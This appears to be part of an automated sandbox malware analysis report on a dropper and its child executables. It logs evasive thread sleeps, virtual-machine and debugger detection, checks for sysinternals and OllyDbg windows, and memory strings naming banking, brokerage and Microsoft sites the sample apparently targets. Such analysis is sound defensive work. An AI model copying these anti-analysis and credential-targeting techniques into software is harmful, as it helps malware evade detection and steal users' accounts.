Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7748	Thread sleep count: 1352 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7748	Thread sleep time: -2705352s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7752	Thread sleep count: 1077 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7752	Thread sleep time: -2155077s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7604	Thread sleep count: 109 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7740	Thread sleep count: 1065 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7740	Thread sleep time: -2131065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7604	Thread sleep count: 118 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7604	Thread sleep count: 108 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7744	Thread sleep count: 631 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7744	Thread sleep time: -1262631s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7604	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7756	Thread sleep count: 1163 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7756	Thread sleep time: -2327163s >= -30000s	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 180	Thread sleep count: 1125 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 180	Thread sleep time: -2251125s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7056	Thread sleep count: 1066 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7056	Thread sleep time: -2133066s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1576	Thread sleep count: 1089 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1576	Thread sleep time: -2179089s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8188	Thread sleep count: 93 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7064	Thread sleep count: 1086 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7064	Thread sleep time: -2173086s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8188	Thread sleep count: 126 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1480	Thread sleep count: 1070 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 1480	Thread sleep time: -2141070s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7060	Thread sleep count: 1279 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7060	Thread sleep time: -2559279s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 8188	Thread sleep count: 67 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5688	Thread sleep count: 1091 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5688	Thread sleep time: -2183091s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5680	Thread sleep count: 1086 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5680	Thread sleep time: -2173086s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5444	Thread sleep count: 1099 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 5444	Thread sleep time: -2199099s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6668	Thread sleep count: 93 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7116	Thread sleep count: 1311 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 7116	Thread sleep time: -2623311s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6668	Thread sleep count: 120 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 4320	Thread sleep count: 1053 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 4320	Thread sleep time: -2107053s >= -30000s
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6668	Thread sleep count: 86 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6668	Thread sleep count: 73 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6004	Thread sleep count: 1062 > 30
Source: C:\ProgramData\MPGPH131\MPGPH131.exe TID: 6004	Thread sleep time: -2125062s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7372	Thread sleep count: 1119 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7372	Thread sleep time: -2239119s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7484	Thread sleep count: 1103 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 7484	Thread sleep time: -2207103s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 1672	Thread sleep count: 95 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 2884	Thread sleep count: 1089 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 2884	Thread sleep time: -2179089s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 1672	Thread sleep count: 76 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 1672	Thread sleep count: 159 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 1672	Thread sleep count: 84 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 1672	Thread sleep count: 44 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8932	Thread sleep count: 665 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8932	Thread sleep time: -1330665s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8956	Thread sleep count: 728 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8956	Thread sleep time: -1456728s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8936	Thread sleep count: 659 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8936	Thread sleep time: -1318659s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8784	Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8928	Thread sleep count: 4264 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8928	Thread sleep time: -8532264s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8784	Thread sleep count: 177 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8944	Thread sleep count: 686 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8944	Thread sleep time: -1372686s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8940	Thread sleep count: 687 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8940	Thread sleep time: -1374687s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8784	Thread sleep count: 94 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8724	Thread sleep count: 1103 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8724	Thread sleep time: -2207103s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8684	Thread sleep count: 1097 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8684	Thread sleep time: -2195097s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8532	Thread sleep count: 129 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8688	Thread sleep count: 1116 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8688	Thread sleep time: -2233116s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8532	Thread sleep count: 161 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8532	Thread sleep count: 49 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8676	Thread sleep count: 1140 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8676	Thread sleep time: -2281140s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8532	Thread sleep count: 69 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8680	Thread sleep count: 1123 > 30
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8680	Thread sleep time: -2247123s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe TID: 8532	Thread sleep count: 90 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8128	Thread sleep count: 855 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8128	Thread sleep time: -1710855s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 5612	Thread sleep count: 815 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 5612	Thread sleep time: -1630815s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8272	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8888	Thread sleep count: 119 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8888	Thread sleep count: 98 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 7972	Thread sleep count: 3211 > 30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 7972	Thread sleep time: -6425211s >= -30000s
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe TID: 8888	Thread sleep count: 78 > 30

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe

Thread sleep count: Count: 1339 delay: -10

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E46000 FindFirstFileA,FindNextFileA,	27_2_00E46000
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E66770 FindFirstFileA,FindNextFileA,SetFileAttributesA,RemoveDirectoryA,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	27_2_00E66770
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DB1F9C FindFirstFileExW,	27_2_00DB1F9C

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Code function: 27_2_00E5FF00 RegOpenKeyExA,RegQueryValueExA,RegOpenKeyExA,RegQueryValueExA,GetLocalTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,GetSystemInfo,GlobalMemoryStatusEx,CreateToolhelp32Snapshot,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,

27_2_00E5FF00

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: RageMP131.exe, 0000001B.00000003.2589932381.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}DM5S
Source: MPGPH131.exe, 0000000F.00000003.2333342231.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}L>
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: MPGPH131.exe, 0000000F.00000003.3215443707.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193517047.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2937006129.0000000001953000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6959010221.00000000014AB000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: eaa97795e9.exe, 00000018.00000003.2531675780.0000000001876000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: MPGPH131.exe, 0000000F.00000003.3215443707.0000000001105000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2962983581.0000000001105000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnFv
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 8bcaec3fef.exe, 00000009.00000002.2572103242.000000000A8B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\6
Source: RageMP131.exe, 0000001B.00000002.6959624442.0000000001551000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\*7
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: RageMP131.exe, 0000001B.00000002.6959010221.0000000001440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&fL5p.
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: setup.exe, setup.exe, 00000000.00000002.2077796101.000000000035C000.00000040.00000001.01000000.00000003.sdmp, explortu.exe, explortu.exe, 00000003.00000002.2116153169.000000000076C000.00000040.00000001.01000000.00000007.sdmp, b6042db502.exe, b6042db502.exe, 00000005.00000002.2220720292.0000000000E2D000.00000040.00000001.01000000.00000009.sdmp, 8bcaec3fef.exe, 8bcaec3fef.exe, 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmp, RageMP131.exe, RageMP131.exe, 0000001B.00000002.6958219757.0000000001098000.00000040.00000001.01000000.00000011.sdmp, axplong.exe, 0000001C.00000002.2715569843.00000000002CD000.00000040.00000001.01000000.0000000B.sdmp, explortu.exe, 0000001D.00000002.2715567444.000000000076C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}cal\Temp\spanft9jhuGxTSc7\3b6N2Xdh3CYwplaces.sqliteg
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014D0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000003.3083983177.00000000014D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: 8bcaec3fef.exe, 00000009.00000002.2572103242.000000000A8B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: RageMP131.exe, 00000014.00000003.2936849762.000000000194A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: MPGPH131.exe, 0000000F.00000003.2333342231.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6b
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_609DC3E4
Source: RageMP131.exe, 0000001B.00000002.6959010221.00000000014B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000POHCpsAqtC+Dv8sqIj6H9zbZteTFJry6MExQAAAAAOgAAAAAIAACAAAABmJ4vsREYnmENveyKxxWe1fNW+cA3BuVq/wjRFfn5aRjAAAABOK2yLuOkSHk+gPlo2ka+4Ac7akovb2igD0VM4R9JPvXiuLp1lUclMTbWXdy79t5JAAAAAGYRT3E1I6pNw6cCRvvAqwCaa3EfLpJFvczcTwSaoFb144oCyy66IEHm4hQ8c9+NCAP4mcA/3EVEMP45VIPNP+w==
Source: eaa97795e9.exe, 00000013.00000003.2999593925.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.3193517047.00000000005F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: RageMP131.exe, 0000001B.00000002.6962796598.0000000007F2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_609DC3E4hd990
Source: setup.exe, 00000000.00000002.2077796101.000000000035C000.00000040.00000001.01000000.00000003.sdmp, explortu.exe, 00000003.00000002.2116153169.000000000076C000.00000040.00000001.01000000.00000007.sdmp, b6042db502.exe, 00000005.00000002.2220720292.0000000000E2D000.00000040.00000001.01000000.00000009.sdmp, 8bcaec3fef.exe, 00000009.00000002.2560316369.00000000006A3000.00000040.00000001.01000000.0000000D.sdmp, RageMP131.exe, 0000001B.00000002.6958219757.0000000001098000.00000040.00000001.01000000.00000011.sdmp, axplong.exe, 0000001C.00000002.2715569843.00000000002CD000.00000040.00000001.01000000.0000000B.sdmp, explortu.exe, 0000001D.00000002.2715567444.000000000076C000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: RageMP131.exe, 0000001B.00000003.6774240284.0000000001694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h

Source: C:\Users\user\Desktop\setup.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\setup.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe

Code function: 9_2_0A161721 Start: 0A161D76 End: 0A161727

9_2_0A161721

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: SICE
